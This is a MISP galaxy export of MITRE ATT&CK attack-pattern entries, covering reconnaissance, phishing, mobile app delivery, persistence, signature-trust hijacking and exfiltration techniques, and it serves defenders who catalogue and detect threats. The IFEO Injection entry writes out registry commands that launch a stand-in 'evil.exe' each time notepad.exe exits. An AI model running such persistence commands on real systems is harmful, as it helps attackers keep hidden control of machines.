Malware may perform differently on different platforms (computer vs handheld) and different operating systems ([Ubuntu](http://www.ubuntu.com) vs [OS X](http://www.apple.com/osx)), and versions ([Windows](http://windows.microsoft.com) 7 vs 10) so malicious actors will test their malware in the environment(s) where they most expect it to be executed. (Citation: BypassMalwareDefense)
The tag is: misp-galaxy:mitre-attack-pattern="Test malware in various execution environments - T1357"
Links |
Conduct social engineering or HUMINT operation - T1376
This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.
Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. Human Intelligence (HUMINT) is intelligence collected and provided by human sources. (Citation: 17millionScam) (Citation: UbiquityEmailScam)
The tag is: misp-galaxy:mitre-attack-pattern="Conduct social engineering or HUMINT operation - T1376"
Links |
Spear phishing messages with malicious attachments - T1367
This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.
Emails with malicious attachments are designed to get a user to open/execute the attachment in order to deliver malware payloads. (Citation: APT1)
The tag is: misp-galaxy:mitre-attack-pattern="Spear phishing messages with malicious attachments - T1367"
Links |
Authorized user performs requested cyber action - T1386
This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.
Clicking on links in email, opening attachments, or visiting websites that result in drive by downloads can all result in compromise due to users performing actions of a cyber nature. (Citation: AnonHBGary)
The tag is: misp-galaxy:mitre-attack-pattern="Authorized user performs requested cyber action - T1386"
Links |
Spear phishing messages with text only - T1368
This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.
Emails with text only phishing messages do not contain any attachments or links to websites. They are designed to get a user to take a follow on action such as calling a phone number or wiring money. They can also be used to elicit an email response to confirm existence of an account or user. (Citation: Paypal Phone Scam)
The tag is: misp-galaxy:mitre-attack-pattern="Spear phishing messages with text only - T1368"
Links |
Spear phishing messages with malicious links - T1369
This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.
Emails with malicious links are designed to get a user to click on the link in order to deliver malware payloads. (Citation: GoogleDrive Phishing) (Citation: RSASEThreat)
The tag is: misp-galaxy:mitre-attack-pattern="Spear phishing messages with malicious links - T1369"
Links |
Unauthorized user introduces compromise delivery mechanism - T1387
This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.
If an adversary can gain physical access to the target’s environment they can introduce a variety of devices that provide compromise mechanisms. This could include installing keyboard loggers, adding routing/wireless equipment, or connecting computing devices. (Citation: Credit Card Skimmers)
The tag is: misp-galaxy:mitre-attack-pattern="Unauthorized user introduces compromise delivery mechanism - T1387"
Links |
Modify OS Kernel or Boot Partition - T1398
If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device kernel or other boot partition components, where the code may evade detection, may persist after device resets, and may not be removable by the device user. In some cases (e.g., the Samsung Knox warranty bit as described under Detection), the attack may be detected but could result in the device being placed in a state that no longer allows certain functionality.
Many Android devices provide the ability to unlock the bootloader for development purposes, but doing so introduces the potential ability for others to maliciously update the kernel or other boot partition code.
If the bootloader is not unlocked, it may still be possible to exploit device vulnerabilities to update the code.
The tag is: misp-galaxy:mitre-attack-pattern="Modify OS Kernel or Boot Partition - T1398"
Exploit via Charging Station or PC - T1458
If the mobile device is connected (typically via USB) to a charging station or a PC, for example to charge the device’s battery, then a compromised or malicious charging station or PC could attempt to exploit the mobile device via the connection(Citation: Krebs-JuiceJacking).
Previous demonstrations have included:
-
Injecting malicious applications into iOS devices(Citation: Lau-Mactans).
-
Exploiting a Nexus 6 or 6P device over USB and gaining the ability to perform actions including intercepting phone calls, intercepting network traffic, and obtaining the device physical location(Citation: IBM-NexusUSB).
-
Exploiting Android devices such as the Google Pixel 2 over USB(Citation: GoogleProjectZero-OATmeal).
Products from Cellebrite and Grayshift purportedly can use physical access to the data port to unlock the passcode on some iOS devices(Citation: Computerworld-iPhoneCracking).
The tag is: misp-galaxy:mitre-attack-pattern="Exploit via Charging Station or PC - T1458"
Deliver Malicious App via Other Means - T1476
Malicious applications are a common attack vector used by adversaries to gain a presence on mobile devices. This technique describes installing a malicious application on targeted mobile devices without involving an authorized app store (e.g., Google Play Store or Apple App Store). Adversaries may wish to avoid placing malicious applications in an authorized app store due to increased potential risk of detection or other reasons. However, mobile devices often are configured to allow application installation only from an authorized app store which would prevent this technique from working.
Delivery methods for the malicious application include:
-
[Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) - Including the mobile app package as an attachment to an email message.
-
[Spearphishing Link](https://attack.mitre.org/techniques/T1192) - Including a link to the mobile app package within an email, text message (e.g. SMS, iMessage, Hangouts, WhatsApp, etc.), web site, QR code, or other means.
-
Third-Party App Store - Installed from a third-party app store (as opposed to an authorized app store that the device implicitly trusts as part of its default behavior), which may not apply the same level of scrutiny to apps as applied by an authorized app store.(Citation: IBTimes-ThirdParty)(Citation: TrendMicro-RootingMalware)(Citation: TrendMicro-FlappyBird)
Some Android malware comes with functionality to install additional applications, either automatically or when the adversary instructs it to.(Citation: android-trojan-steals-paypal-2fa)
The tag is: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476"
Upload, install, and configure software/tools - T1362
An adversary may stage software and tools for use during later stages of an attack. The software and tools may be placed on systems legitimately in use by the adversary or may be placed on previously compromised infrastructure. (Citation: APT1) (Citation: RedOctober)
The tag is: misp-galaxy:mitre-attack-pattern="Upload, install, and configure software/tools - T1362"
Links |
App Auto-Start at Device Boot - T1402
An Android application can listen for the BOOT_COMPLETED broadcast, ensuring that the app’s functionality will be activated every time the device starts up without having to wait for the device user to manually start the app.
An analysis published in 2012(Citation: Zhou) of 1260 Android malware samples belonging to 49 families of malware determined that 29 malware families and 83.3% of the samples listened for BOOT_COMPLETED.
The tag is: misp-galaxy:mitre-attack-pattern="App Auto-Start at Device Boot - T1402"
Links |
Friend/Follow/Connect to targets of interest - T1344
Once a persona has been developed an adversary will use it to create connections to targets of interest. These connections may be direct or may include trying to connect through others. (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage)
The tag is: misp-galaxy:mitre-attack-pattern="Friend/Follow/Connect to targets of interest - T1344"
Friend/Follow/Connect to targets of interest - T1344 has relationships with:
-
related-to: misp-galaxy:mitre-attack-pattern="Friend/Follow/Connect to targets of interest - T1364" with estimative-language:likelihood-probability="almost-certain"
Links |
Friend/Follow/Connect to targets of interest - T1364
A form of social engineering designed build trust and to lay the foundation for future interactions or attacks. (Citation: BlackHatRobinSage)
The tag is: misp-galaxy:mitre-attack-pattern="Friend/Follow/Connect to targets of interest - T1364"
Friend/Follow/Connect to targets of interest - T1364 has relationships with:
-
related-to: misp-galaxy:mitre-attack-pattern="Friend/Follow/Connect to targets of interest - T1344" with estimative-language:likelihood-probability="almost-certain"
Links |
Identify personnel with an authority/privilege - T1271
Personnel internally to a company may have non-electronic specialized access, authorities, or privilege that make them an attractive target for an adversary. One example of this is an individual with financial authority to authorize large transactions. An adversary who compromises this individual might be able to subvert large dollar transfers. (Citation: RSA-APTRecon)
The tag is: misp-galaxy:mitre-attack-pattern="Identify personnel with an authority/privilege - T1271"
Links |
Receive KITs/KIQs and determine requirements - T1239
Applicable agencies and/or personnel receive intelligence requirements and evaluate them to determine sub-requirements related to topics, questions, or requirements. For example, an adversary’s nuclear energy requirements may be further divided into nuclear facilities versus nuclear warhead capabilities. (Citation: AnalystsAndPolicymaking)
The tag is: misp-galaxy:mitre-attack-pattern="Receive KITs/KIQs and determine requirements - T1239"
Links |
Identify job postings and needs/gaps - T1248
Job postings, on either company sites, or in other forums, provide information on organizational structure and often provide contact information for someone within the organization. This may give an adversary information on technologies within the organization which could be valuable in attack or provide insight in to possible security weaknesses or limitations in detection or protection mechanisms. (Citation: JobPostingThreat)
The tag is: misp-galaxy:mitre-attack-pattern="Identify job postings and needs/gaps - T1248"
Identify job postings and needs/gaps - T1248 has relationships with:
-
related-to: misp-galaxy:mitre-attack-pattern="Identify job postings and needs/gaps - T1267" with estimative-language:likelihood-probability="almost-certain"
-
related-to: misp-galaxy:mitre-attack-pattern="Identify job postings and needs/gaps - T1278" with estimative-language:likelihood-probability="almost-certain"
Links |
Analyze hardware/software security defensive capabilities - T1294
An adversary can probe a victim’s network to determine configurations. The configurations may provide opportunities to route traffic through the network in an undetected or less detectable way. (Citation: OSFingerprinting2014)
The tag is: misp-galaxy:mitre-attack-pattern="Analyze hardware/software security defensive capabilities - T1294"
Links |
Discover target logon/email address format - T1255
Email addresses, logon credentials, and other forms of online identification typically share a common format. This makes guessing other credentials within the same domain easier. For example if a known email address is first.last@company.com it is likely that others in the company will have an email in the same format. (Citation: RSA-APTRecon)
The tag is: misp-galaxy:mitre-attack-pattern="Discover target logon/email address format - T1255"
Links |
Identify job postings and needs/gaps - T1267
Job postings, on either company sites, or in other forums, provide information on organizational structure and often provide contact information for someone within the organization. This may give an adversary information on people within the organization which could be valuable in social engineering attempts. (Citation: JobPostingThreat)
The tag is: misp-galaxy:mitre-attack-pattern="Identify job postings and needs/gaps - T1267"
Identify job postings and needs/gaps - T1267 has relationships with:
-
related-to: misp-galaxy:mitre-attack-pattern="Identify job postings and needs/gaps - T1248" with estimative-language:likelihood-probability="almost-certain"
-
related-to: misp-galaxy:mitre-attack-pattern="Identify job postings and needs/gaps - T1278" with estimative-language:likelihood-probability="almost-certain"
Links |
Identify job postings and needs/gaps - T1278
Job postings, on either company sites, or in other forums, provide information on organizational structure, needs, and gaps in an organization. This may give an adversary an indication of weakness in an organization (such as under-resourced IT shop). Job postings can also provide information on an organizations structure which could be valuable in social engineering attempts. (Citation: JobPostingThreat) (Citation: RSA-APTRecon)
The tag is: misp-galaxy:mitre-attack-pattern="Identify job postings and needs/gaps - T1278"
Identify job postings and needs/gaps - T1278 has relationships with:
-
related-to: misp-galaxy:mitre-attack-pattern="Identify job postings and needs/gaps - T1267" with estimative-language:likelihood-probability="almost-certain"
-
related-to: misp-galaxy:mitre-attack-pattern="Identify job postings and needs/gaps - T1248" with estimative-language:likelihood-probability="almost-certain"
Links |
Analyze organizational skillsets and deficiencies - T1300
Analyze strengths and weaknesses of the target for potential areas of where to focus compromise efforts. (Citation: FakeLinkedIn)
The tag is: misp-galaxy:mitre-attack-pattern="Analyze organizational skillsets and deficiencies - T1300"
Analyze organizational skillsets and deficiencies - T1300 has relationships with:
-
related-to: misp-galaxy:mitre-attack-pattern="Analyze organizational skillsets and deficiencies - T1297" with estimative-language:likelihood-probability="almost-certain"
-
related-to: misp-galaxy:mitre-attack-pattern="Analyze organizational skillsets and deficiencies - T1289" with estimative-language:likelihood-probability="almost-certain"
Links |
Exfiltration Over Other Network Medium - T1011
Exfiltration could occur over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel. Adversaries could choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.
The tag is: misp-galaxy:mitre-attack-pattern="Exfiltration Over Other Network Medium - T1011"
Links |
Network Traffic Capture or Redirection - T1410
An adversary may capture network traffic to and from the device to obtain credentials or other sensitive data, or redirect network traffic to flow through an adversary-controlled gateway to do the same.
A malicious app could register itself as a VPN client on Android or iOS to gain access to network packets. However, on both platforms, the user must grant consent to the app to act as a VPN client, and on iOS the app requires a special entitlement that must be granted by Apple.
Alternatively, if a malicious app is able to escalate operating system privileges, it may be able to use those privileges to gain access to network traffic.
An adversary could redirect network traffic to an adversary-controlled gateway by establishing a VPN connection or by manipulating the device’s proxy settings. For example, Skycure (Citation: Skycure-Profiles) describes the ability to redirect network traffic by installing a malicious iOS Configuration Profile.
If applications encrypt their network traffic, sensitive data may not be accessible to an adversary, depending on the point of capture.
The tag is: misp-galaxy:mitre-attack-pattern="Network Traffic Capture or Redirection - T1410"
Links |
https://www.skycure.com/blog/malicious-profiles-the-sleeping-giant-of-ios-security/ |
Determine 3rd party infrastructure services - T1260
Infrastructure services includes the hardware, software, and network resources required to operate a communications environment. This infrastructure can be managed by a 3rd party rather than being managed by the owning organization. (Citation: FFIECAwareness) (Citation: Zetter2015Threats)
The tag is: misp-galaxy:mitre-attack-pattern="Determine 3rd party infrastructure services - T1260"
Determine 3rd party infrastructure services - T1260 has relationships with:
-
related-to: misp-galaxy:mitre-attack-pattern="Determine 3rd party infrastructure services - T1284" with estimative-language:likelihood-probability="almost-certain"
Links |
Analyze presence of outsourced capabilities - T1303
Outsourcing, the arrangement of one company providing goods or services to another company for something that could be done in-house, provides another avenue for an adversary to target. Businesses often have networks, portals, or other technical connections between themselves and their outsourced/partner organizations that could be exploited. Additionally, outsourced/partner organization information could provide opportunities for phishing. (Citation: Scasny2015) (Citation: OPM Breach)
The tag is: misp-galaxy:mitre-attack-pattern="Analyze presence of outsourced capabilities - T1303"
Links |
Data from Cloud Storage Object - T1530
Adversaries may access data objects from improperly secured cloud storage.
Many cloud service providers offer solutions for online data storage such as Amazon S3, Azure Storage, and Google Cloud Storage. These solutions differ from other storage solutions (such as SQL or Elasticsearch) in that there is no overarching application. Data from these solutions can be retrieved directly using the cloud provider’s APIs. Solution providers typically offer security guides to help end users configure systems.(Citation: Amazon S3 Security, 2019)(Citation: Microsoft Azure Storage Security, 2019)(Citation: Google Cloud Storage Best Practices, 2019)
Misconfiguration by end users is a common problem. There have been numerous incidents where cloud storage has been improperly secured (typically by unintentionally allowing public access by unauthenticated users or overly-broad access by all users), allowing open access to credit cards, personally identifiable information, medical records, and other sensitive information.(Citation: Trend Micro S3 Exposed PII, 2017)(Citation: Wired Magecart S3 Buckets, 2019)(Citation: HIPAA Journal S3 Breach, 2017) Adversaries may also obtain leaked credentials in source repositories, logs, or other means as a way to gain access to cloud storage objects that have access permission controls.
The tag is: misp-galaxy:mitre-attack-pattern="Data from Cloud Storage Object - T1530"
Data from Network Shared Drive - T1039
Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to Exfiltration.
Adversaries may search network shares on computers they have compromised to find files of interest. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information.
The tag is: misp-galaxy:mitre-attack-pattern="Data from Network Shared Drive - T1039"
Links |
Download New Code at Runtime - T1407
An app could download and execute dynamic code (not included in the original application package) after installation to evade static analysis techniques (and potentially dynamic analysis techniques) used for application vetting or application store review.(Citation: Poeplau-ExecuteThis)
On Android, dynamic code could include native code, Dalvik code, or JavaScript code that uses the Android WebView’s JavascriptInterface capability.(Citation: Bromium-AndroidRCE)
On iOS, techniques also exist for executing dynamic code downloaded after application installation.(Citation: FireEye-JSPatch)(Citation: Wang)
The tag is: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407"
Windows Management Instrumentation Event Subscription - T1084
Windows Management Instrumentation (WMI) can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may attempt to evade detection of this technique by compiling WMI scripts into Windows Management Object (MOF) files (.mof extension). (Citation: Dell WMI Persistence) Examples of events that may be subscribed to are the wall clock time or the computer’s uptime. (Citation: Kazanciyan 2014) Several threat groups have reportedly used this technique to maintain persistence. (Citation: Mandiant M-Trends 2015)
The tag is: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1084"
Links |
https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf |
https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96 |
Custom Command and Control Protocol - T1094
Adversaries may communicate using a custom command and control protocol instead of encapsulating commands/data in an existing [Standard Application Layer Protocol](https://attack.mitre.org/techniques/T1071). Implementations include mimicking well-known protocols or developing custom protocols (including raw sockets) on top of fundamental protocols provided by TCP/IP/another standard network stack.
The tag is: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094"
Links |
App Delivered via Web Download - T1431
The application is downloaded from an arbitrary web site. A link to the application’s download URI may be sent in an email or SMS, placed on another web site that the target is likely to view, or sent via other means (such as QR code).
Detection: An EMM/MDM or mobile threat protection solution can identify the presence of unwanted, known insecure, or malicious apps on devices.
Platforms: Android, iOS
The tag is: misp-galaxy:mitre-attack-pattern="App Delivered via Web Download - T1431"
App Delivered via Web Download - T1431 has relationships with:
-
revoked-by: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"
Links |
Image File Execution Options Injection - T1183
Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., “C:\dbg\ntsd.exe -g notepad.exe”). (Citation: Microsoft Dev Blog IFEO Mar 2010)
IFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as <code>Debugger</code> values in the Registry under <code>HKLM\SOFTWARE{\Wow6432Node}\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<executable></code> where <code><executable></code> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)
IFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IEFO and silent process exit Registry values in <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\</code>. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)
An example where the evil.exe process is started when notepad.exe exits: (Citation: Oddvar Moe IFEO APR 2018)
-
<code>reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512</code>
-
<code>reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1</code>
-
<code>reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\temp\evil.exe"</code>
Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Endgame Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous invocation.
Malware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)
The tag is: misp-galaxy:mitre-attack-pattern="Image File Execution Options Injection - T1183"
SIP and Trust Provider Hijacking - T1198
In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file’s origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)
Because of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)
Similar to [Code Signing](https://attack.mitre.org/techniques/T1116), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and whitelisting tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)
-
Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\SOFTWARE[\WOW6432Node\]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg{SIP_GUID}</code> that point to the dynamic link library (DLL) providing a SIP’s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file’s real signature, an adversary can apply an acceptable signature value all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).
-
Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\SOFTWARE\[WOW6432Node\]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData{SIP_GUID}</code> that point to the DLL providing a SIP’s CryptSIPDllVerifyIndirectData function, which validates a file’s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.
-
Modifying the <code>DLL</code> and <code>Function</code> Registry values in <code>HKLM\SOFTWARE\[WOW6432Node\]Microsoft\Cryptography\Providers\Trust\FinalPolicy\{trust provider GUID}</code> that point to the DLL providing a trust provider’s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP’s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).
-
Note: The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).
Hijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)
The tag is: misp-galaxy:mitre-attack-pattern="SIP and Trust Provider Hijacking - T1198"
File and Directory Permissions Modification - T1222
File and directory permissions are commonly managed by discretionary access control lists (DACLs) specified by the file or directory owner. File and directory DACL implementations may vary by platform, but generally explicitly designate which users/groups can perform which actions (ex: read, write, execute, etc.). (Citation: Microsoft DACL May 2018) (Citation: Microsoft File Rights May 2018) (Citation: Unix File Permissions)
Adversaries may modify file or directory permissions/attributes to evade intended DACLs. (Citation: Hybrid Analysis Icacls1 June 2018) (Citation: Hybrid Analysis Icacls2 May 2018) Modifications may include changing specific access rights, which may require taking ownership of a file or directory and/or elevated permissions such as Administrator/root depending on the file or directory’s existing permissions to enable malicious activity such as modifying, replacing, or deleting specific files/directories. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1015), [Logon Scripts](https://attack.mitre.org/techniques/T1037), or tainting/hijacking other instrumental binary/configuration files.
The tag is: misp-galaxy:mitre-attack-pattern="File and Directory Permissions Modification - T1222"
Assess leadership areas of interest - T1224
Leadership assesses the areas of most interest to them and generates Key Intelligence Topics (KIT) or Key Intelligence Questions (KIQ). For example, an adversary knows from open and closed source reporting that cyber is of interest, resulting in it being a KIT. (Citation: ODNIIntegration)
The tag is: misp-galaxy:mitre-attack-pattern="Assess leadership areas of interest - T1224"
Links |
Determine 3rd party infrastructure services - T1284
A wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available as 3rd party infrastructure services. These services could provide an adversary with another avenue of approach or compromise. (Citation: LUCKYCAT2012) (Citation: Schneier-cloud) (Citation: Computerworld-suppliers)
The tag is: misp-galaxy:mitre-attack-pattern="Determine 3rd party infrastructure services - T1284"
Determine 3rd party infrastructure services - T1284 has relationships with:
-
related-to: misp-galaxy:mitre-attack-pattern="Determine 3rd party infrastructure services - T1260" with estimative-language:likelihood-probability="almost-certain"
Links |
Determine highest level tactical element - T1243
From a tactical viewpoint, an adversary could potentially have a primary and secondary level target. The primary target represents the highest level tactical element the adversary wishes to attack. For example, the corporate network within a corporation or the division within an agency. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12R) (Citation: DoD Cyber 2015)
The tag is: misp-galaxy:mitre-attack-pattern="Determine highest level tactical element - T1243"
Links |
Determine secondary level tactical element - T1244
The secondary level tactical element the adversary seeks to attack is the specific network or area of a network that is vulnerable to attack. Within the corporate network example, the secondary level tactical element might be a SQL server or a domain controller with a known vulnerability. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12R) (Citation: DoD Cyber 2015)
The tag is: misp-galaxy:mitre-attack-pattern="Determine secondary level tactical element - T1244"
Links |
Attack PC via USB Connection - T1427
With escalated privileges, an adversary could program the mobile device to impersonate USB devices such as input devices (keyboard and mouse), storage devices, and/or networking devices in order to attack a physically connected PC(Citation: Wang-ExploitingUSB)(Citation: ArsTechnica-PoisonTap) This technique has been demonstrated on Android. We are unaware of any demonstrations on iOS.
The tag is: misp-galaxy:mitre-attack-pattern="Attack PC via USB Connection - T1427"
Links |
https://pages.nist.gov/mobile-threat-catalogue/physical-threats/PHY-2.html |
Determine centralization of IT management - T1285
Determining if a "corporate" help desk exists, the degree of access and control it has, and whether there are "edge" units that may have different support processes and standards. (Citation: SANSCentratlizeManagement)
The tag is: misp-galaxy:mitre-attack-pattern="Determine centralization of IT management - T1285"
Links |
Determine external network trust dependencies - T1259
Network trusts enable communications between different networks with specific accesses and permissions. Network trusts could include the implementation of domain trusts or the use of virtual private networks (VPNs). (Citation: CuckoosEgg) (Citation: CuckoosEggWikipedia) (Citation: KGBComputerMe)
The tag is: misp-galaxy:mitre-attack-pattern="Determine external network trust dependencies - T1259"
Links |
Analyze organizational skillsets and deficiencies - T1297
Understanding organizational skillsets and deficiencies could provide insight in to weakness in defenses, or opportunities for exploitation. (Citation: FakeLinkedIn)
The tag is: misp-galaxy:mitre-attack-pattern="Analyze organizational skillsets and deficiencies - T1297"
Analyze organizational skillsets and deficiencies - T1297 has relationships with:
-
related-to: misp-galaxy:mitre-attack-pattern="Analyze organizational skillsets and deficiencies - T1300" with estimative-language:likelihood-probability="almost-certain"
-
related-to: misp-galaxy:mitre-attack-pattern="Analyze organizational skillsets and deficiencies - T1289" with estimative-language:likelihood-probability="almost-certain"
Links |
Analyze architecture and configuration posture - T1288
An adversary may analyze technical scanning results to identify weaknesses in the configuration or architecture of a victim network. These weaknesses could include architectural flaws, misconfigurations, or improper security controls. (Citation: FireEyeAPT28)
The tag is: misp-galaxy:mitre-attack-pattern="Analyze architecture and configuration posture - T1288"
Links |
Analyze organizational skillsets and deficiencies - T1289
Analyze strengths and weaknesses of the target for potential areas of where to focus compromise efforts. (Citation: FakeLinkedIn)
The tag is: misp-galaxy:mitre-attack-pattern="Analyze organizational skillsets and deficiencies - T1289"
Analyze organizational skillsets and deficiencies - T1289 has relationships with:
-
related-to: misp-galaxy:mitre-attack-pattern="Analyze organizational skillsets and deficiencies - T1297" with estimative-language:likelihood-probability="almost-certain"
-
related-to: misp-galaxy:mitre-attack-pattern="Analyze organizational skillsets and deficiencies - T1300" with estimative-language:likelihood-probability="almost-certain"
Links |
Leverage compromised 3rd party resources - T1375
This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.
The utilization of resources not owned by the adversary to launch exploits or operations. This includes utilizing equipment that was previously compromised or leveraging access gained by other methods (such as compromising an employee at a business partner location). (Citation: CitizenLabGreatCannon)
The tag is: misp-galaxy:mitre-attack-pattern="Leverage compromised 3rd party resources - T1375"
Links |
Procure required equipment and software - T1335
An adversary will require some physical hardware and software. They may only need a lightweight set-up if most of their activities will take place using on-line infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems. (Citation: NYTStuxnet)
The tag is: misp-galaxy:mitre-attack-pattern="Procure required equipment and software - T1335"
Links |
SSL certificate acquisition for domain - T1337
Certificates are designed to instill trust. They include information about the key, information about its owner’s identity, and the digital signature of an entity that has verified the certificate’s contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. Acquiring a certificate for a domain name similar to one that is expected to be trusted may allow an adversary to trick a user in to trusting the domain (e.g., vvachovia instead of [Wachovia](https://www.wellsfargo.com/about/corporate/wachovia) — homoglyphs). (Citation: SubvertSSL) (Citation: PaypalScam)
The tag is: misp-galaxy:mitre-attack-pattern="SSL certificate acquisition for domain - T1337"
Links |
Confirmation of launched compromise achieved - T1383
This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.
Upon successful compromise the adversary may implement methods for confirming success including communication to a command and control server, exfiltration of data, or a verifiable intended effect such as a publicly accessible resource being inaccessible or a web page being defaced. (Citation: FireEye Malware Stages) (Citation: APTNetworkTrafficAnalysis)
The tag is: misp-galaxy:mitre-attack-pattern="Confirmation of launched compromise achieved - T1383"
Links |
App Delivered via Email Attachment - T1434
The application is delivered as an email attachment.
Detection: An EMM/MDM or mobile threat protection solution can identify the presence of unwanted, known insecure, or malicious apps on devices. Enterprise email security solutions can identify the presence of Android or iOS application packages within email messages.
Platforms: Android, iOS
The tag is: misp-galaxy:mitre-attack-pattern="App Delivered via Email Attachment - T1434"
App Delivered via Email Attachment - T1434 has relationships with:
-
revoked-by: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"
Links |
Build and configure delivery systems - T1347
Delivery systems are the infrastructure used by the adversary to host malware or other tools used during exploitation. Building and configuring delivery systems may include multiple activities such as registering domain names, renting hosting space, or configuring previously exploited environments. (Citation: APT1)
The tag is: misp-galaxy:mitre-attack-pattern="Build and configure delivery systems - T1347"
Links |
Automated system performs requested action - T1384
